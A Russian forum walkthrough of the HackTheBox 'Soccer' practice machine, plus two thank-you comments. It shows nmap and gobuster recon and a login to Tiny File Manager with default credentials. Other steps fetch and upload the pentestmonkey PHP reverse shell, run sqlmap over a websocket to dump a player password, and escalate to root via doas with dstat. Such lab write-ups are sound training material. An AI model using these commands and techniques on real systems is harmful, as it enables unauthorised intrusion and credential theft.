PDA

Просмотр полной версии : Прохождение HackTheBox - Soccer (Linux, Easy)


Trager
24.06.2023, 14:49
https://forum.antichat.xyz/attachments/29105747/1687600320325.png
Приветствую,

Кодебай

! Сегодня пройдём

Soccer

- лёгкую линуксовую машину с площадки

HackTheBox

. Приятного чтения, друзья

Разведка

Начинаем, как всегда со сканирования портов, используем флаг

-sC

, чтобы использовать стандартные скрипты,

-sV

, чтобы определить сервисы открытых портов:

Bash:



nmap -sC -sV
10.10
.11.194 -oN nmap.out


Bash:



PORT STATE SERVICE VERSION
22
/tcp
open
ssh
OpenSSH
8
.2p1 Ubuntu 4ubuntu0.5
(
Ubuntu Linux
;
protocol
2.0
)
|
ssh-hostkey:
|
3072
ad0d84a3fdcc98a478fef94915dae16d
(
RSA
)
|
256
dfd6a39f68269dfc7c6a0c29e961f00c
(
ECDSA
)
|
_
256
5797565def793c2fcbdb35fff17c615c
(
ED25519
)
80
/tcp
open
http nginx
1.18
.0
(
Ubuntu
)
|
_http-title: Did not follow redirect to http://soccer.htb/
|
http-server-header: nginx/1.18.0
(
Ubuntu
)
9091
/tcp
open
xmltec-xmlmail?
|
fingerprint-strings:
|
DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
|
HTTP/1.1
400
Bad Request
|
Connection: close
|
GetRequest:
|
HTTP/1.1
404
Not Found
|
Content-Security-Policy: default-src
'none'
|
X-Content-Type-Options: nosniff
|
Content-Type: text/html
;
charset
=
utf-8
|
Content-Length:
139
|
Date: Fri,
23
Jun
2023
10
:33:35 GMT
|
Connection: close
|

|

|

|

|

Error

|

|

|

Cannot GET /

|

|

|
HTTPOptions:
|
HTTP/1.1
404
Not Found
|
Content-Security-Policy: default-src
'none'
|
X-Content-Type-Options: nosniff
|
Content-Type: text/html
;
charset
=
utf-8
|
Content-Length:
143
|
Date: Fri,
23
Jun
2023
10
:33:35 GMT
|
Connection: close
|

|

|

|

|

Error

|

|

|

Cannot OPTIONS /

|

|

|
RTSPRequest:
|
HTTP/1.1
404
Not Found
|
Content-Security-Policy: default-src
'none'
|
X-Content-Type-Options: nosniff
|
Content-Type: text/html
;
charset
=
utf-8
|
Content-Length:
143
|
Date: Fri,
23
Jun
2023
10
:33:36 GMT
|
Connection: close
|

|

|

|

|

Error

|

|

|

Cannot OPTIONS /

|

|



У нас есть три открытых

TCP

-порта:

22

,

80

и

9091

. Начнём с

80

-го:

https://forum.antichat.xyz/attachments/29105747/1687600636877.png

При переходе на

http://10.10.11.194

нас сразу же перенаправляет на

soccer.htb

. В таком случае следует внести

IP

-адрес и домен в файл

/etc/hosts

. Сделать это можно вот таким вот образом:

https://forum.antichat.xyz/attachments/29105747/1687600685422.png

Теперь мы можем попасть на домен:

https://forum.antichat.xyz/attachments/29105747/1687600705427.png

На сайте я ничего интересного не обнаружил, поэтому решил профаззить каталоги и файлы:

Bash:



gobuster
dir
-w /opt/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u http://soccer.htb/ -t
25
-x txt,html


https://forum.antichat.xyz/attachments/29105747/1687600774881.png

Нашлась директория

tiny

. Давайте посмотрим что в ней:

https://forum.antichat.xyz/attachments/29105747/1687600813656.png

Тут нас приветствует

Tiny File Manager

. Всегда, когда обнаруживаете подобные панели - сразу же ищите стандартные данные от них. Такие мисконфиги очень популярны в

CTF

:

https://forum.antichat.xyz/attachments/29105747/1687600839018.png

В данном случае стандартное имя пользователя для админа это

admin

, а пароль

admin@123

. Для пользователя это

user

и

12345

.

Пробуем войти от лица администратора:

https://forum.antichat.xyz/attachments/29105747/1687600868419.png

Взятие www-data

Теперь у нас есть доступ к файловому менеджеру. Через него мы можем загрузить вредоносный

PHP

-файл и получить реверс шелл.

https://forum.antichat.xyz/attachments/29105747/1687600888489.png

Для начала скачаем на нашу машину следующий файл - https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php:

Bash:



wget
https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php


https://forum.antichat.xyz/attachments/29105747/1687600917923.png

Это готовый реверс шелл, который был написан на

PHP

. Теперь отредактируем его - в

$ip

нам нужно вставить наш

IP

-адрес в

VPN

-сети, а в

$port

, соответственно, порт:

https://forum.antichat.xyz/attachments/29105747/1687600937155.png

Теперь ставим листенер на порт, который мы указали в

PHP

-файле:

https://forum.antichat.xyz/attachments/29105747/1687600970671.png

Сразу же в каталог, в котором мы оказались изначально, загрузить файл не получилось, поэтому переходим в

tiny

:

https://forum.antichat.xyz/attachments/29105747/1687601001688.png

Затем в

uploads

:

https://forum.antichat.xyz/attachments/29105747/1687601037676.png

И нажимаем кнопку

“Upload”

:

https://forum.antichat.xyz/attachments/29105747/1687601065458.png

Прожимаем область с текстом

“Drop files here to upload”

и выбираем

php-reverse-shell.php

:

https://forum.antichat.xyz/attachments/29105747/1687601082896.png

Файл загружен, теперь нужно заставить веб-сервер запустить

PHP

-код, который расположен в нём:

https://forum.antichat.xyz/attachments/29105747/1687601106421.png

Нажимаем на

“php-reverse-shell.php”

, а затем на кнопку

“Open”

:

https://forum.antichat.xyz/attachments/29105747/1687601131739.png

И получаем сессию от лица пользователя веб-сервера

www-data

:

https://forum.antichat.xyz/attachments/29105747/1687601178856.png

Стабилизируем оболочку с помощью

python3

:

Bash:



python3 -c ‘import pty
;
pty.spawn
(
”/bin/bash”
)
;



Взятие пользователя

К сожалению, на машине повысить привилегии в данном случае не получилось. Но мы можем обнаружить следующий конфигурационный файл

Nginx’а

, где есть поддомен

soc-player.soccer.htb

:

https://forum.antichat.xyz/attachments/29105747/1687601221481.png

Вносим его в

/etc/hosts

и переходим на

soc-player.soccer.htb

:

https://forum.antichat.xyz/attachments/29105747/1687601274140.png

Тут мы можем посмотреть матчи, авторизоваться и зарегистрироваться. Для начала выполним последнее:

https://forum.antichat.xyz/attachments/29105747/1687601317373.png

Теперь авторизуемся:

https://forum.antichat.xyz/attachments/29105747/1687601440679.png

Отлично. Тут написано, что

ID

нашего билета равен

52405

. Похоже, что тут есть какое-то обращение к базе данных:

https://forum.antichat.xyz/attachments/29105747/1687601498079.png

Попробуем ввести в форму

52405

:

https://forum.antichat.xyz/attachments/29105747/1687601552881.png

Отправляем запрос и получаем

“Ticket Exists”

:

https://forum.antichat.xyz/attachments/29105747/1687601577590.png

То есть данный сервис проверяет валидность нашего билета по

ID

через базу данных. Попробуем проэксплуатировать

SQL

-инъекцию:

https://forum.antichat.xyz/attachments/29105747/1687601608786.png


1 or 1

- наш тикет существует

Посмотрим исходный

HTML

-код страницы:

https://forum.antichat.xyz/attachments/29105747/1687601630802.png

Запросы идут через веб-сокеты и

9091

порт, который был в сканировании

nmap

. В таком случае мы можем попробовать использовать

sqlmap

, который поддерживает веб-сокеты, чтобы вытащить нужные нам данные из базы данных. Для начала посмотрим какие есть базы данных с помощью опции

--dbs

:

Bash:



sqlmap -u
"ws://soc-player.soccer.htb:9091"
--level
5
--risk
3
--data
'{"id": "*"}'
--dbs --batch --technique
=
B --threads
10


https://forum.antichat.xyz/attachments/29105747/1687601678568.png


1

,

2

,

3

и

5

база данных - генерируются автоматически. Следовательно, нам нужна

soccer_db

: используем опцию

-D

, чтобы указать название БД и

--dump

. чтобы получить из неё таблицы с данными:

Bash:



sqlmap -u
"ws://soc-player.soccer.htb:9091"
--level
5
--risk
3
--data
'{"id": "*"}'
--dbs --batch --technique
=
B --threads
10
-D soccer_db --dump


https://forum.antichat.xyz/attachments/29105747/1687601696118.png

Самое интересное это:

Код:



player@player.htb
PlayerOftheMatch2022


Эти данные могут подойти для пользователя

player

. Попробуем подключиться по

SSH

:

https://forum.antichat.xyz/attachments/29105747/1687601732326.png

Взятие рута

Скачем программу

linpeas.sh ('http://linpeas.sh/')

с нашего хоста в каталог

/tmp

на удалённую машину (про

linpeas

и то, как это делается я рассказывал в прошлых прохождениях):

https://forum.antichat.xyz/attachments/29105747/1687601758208.png

Даём права на запуск (

+x

) и запускаем. Во вкладке с “интересными” правами мы можем увидеть

/usr/local/bin/doas

с

SUID

-битом:

https://forum.antichat.xyz/attachments/29105747/1687601789603.png


Doas

, как и

sudo

позволяет запускать приложения от имени других пользователей. Настроить

doas

можно через

doas.conf

(https://wiki.archlinux.org/title/Doas_(Русский)):

https://forum.antichat.xyz/attachments/29105747/1687601817766.png

Ищем конфиг с помощью

whereis

и видим, что мы можем запускать

/usr/bin/dstat

с привилегиями суперпользователя. Проверяем:

https://forum.antichat.xyz/attachments/29105747/1687601837355.png

Запуск

dstat

через

doas

работает, отлично. Теперь заглянем на

GTFOBINS

(dstat | GTFOBins) - как можно повысить привилегии, если мы можем запускать

dstat

с правами суперпользователя:

https://forum.antichat.xyz/attachments/29105747/1687601866309.png

Нам нужна вкладка

“Sudo”

. И просто повторяем эти две строки:

https://forum.antichat.xyz/attachments/29105747/1687601900498.png

Рут получен.

Огромное спасибо, что дочитали статью до конца. Если есть какие-то ошибки/неточности, то, пожалуйста, напишите об этом в комментариях

КофеваркаМолли
04.07.2023, 11:35
Очередная отличная статья! Огромное спасибо за обзор прохождений, это реально помогает))

Сергей Попов
04.07.2023, 13:22
Вот такие же статьи по Antichat.games хотел бы видеть. Как пожелание